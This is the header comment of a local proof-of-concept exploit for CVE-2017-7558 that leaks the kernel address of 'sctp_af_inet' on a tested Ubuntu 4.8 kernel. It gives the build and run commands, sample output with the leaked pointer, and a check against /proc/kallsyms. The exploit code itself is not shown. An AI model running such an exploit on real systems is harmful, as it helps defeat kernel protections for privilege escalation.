# Category: Local

/*
 * [ Briefs ] 
 *    - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)
 *    - This is local exploit against the CVE-2017-7558.
 *
 * [ Tested version ]
 *    - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 *
 * [ Prerequisites ]
 *    - sudo apt-get install libsctp-dev
 *
 * [ Goal ]
 *    - Leak kernel symbol address of "sctp_af_inet"
 *
 * [ Run exploit ]
 *    - $ gcc poc.c -o poc -lsctp -lpthread
 *    - $ ./poc
 *      [] Waiting for connection
 *      [] New client connected
 *      [] Received data: Hello, Server!
 *      [] sctp_af_inet address : 0
 *      [] sctp_af_inet address : ffffffffc0c541e0
 *      [] sctp_af_inet address : 0
 *      [] sctp_af_inet address : ffffffffc0c541e0  (leaked kernel pointer)
 *    - $ sudo cat /proc/kallsyms | grep sctp_af_inet  (Check whether leaked pointer value is corret)
 *      ffffffffc0c541e0 d sctp_af_inet [sctp]
